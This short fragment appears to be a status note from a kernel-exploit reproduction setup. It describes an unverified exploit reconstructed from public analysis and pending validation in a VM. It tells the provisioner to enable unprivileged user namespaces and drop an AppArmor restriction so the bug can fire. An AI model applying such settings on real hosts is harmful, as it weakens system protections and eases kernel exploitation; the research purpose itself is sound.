RECONSTRUCTED from public analysis β€” NOT yet VM-verified. Provisioner: ensure unprivileged userns enabled (sysctl kernel.unprivileged_userns_clone=1 / drop apparmor restriction). A KASAN kernel will oops on a real fire; sweep + trigger validation pending."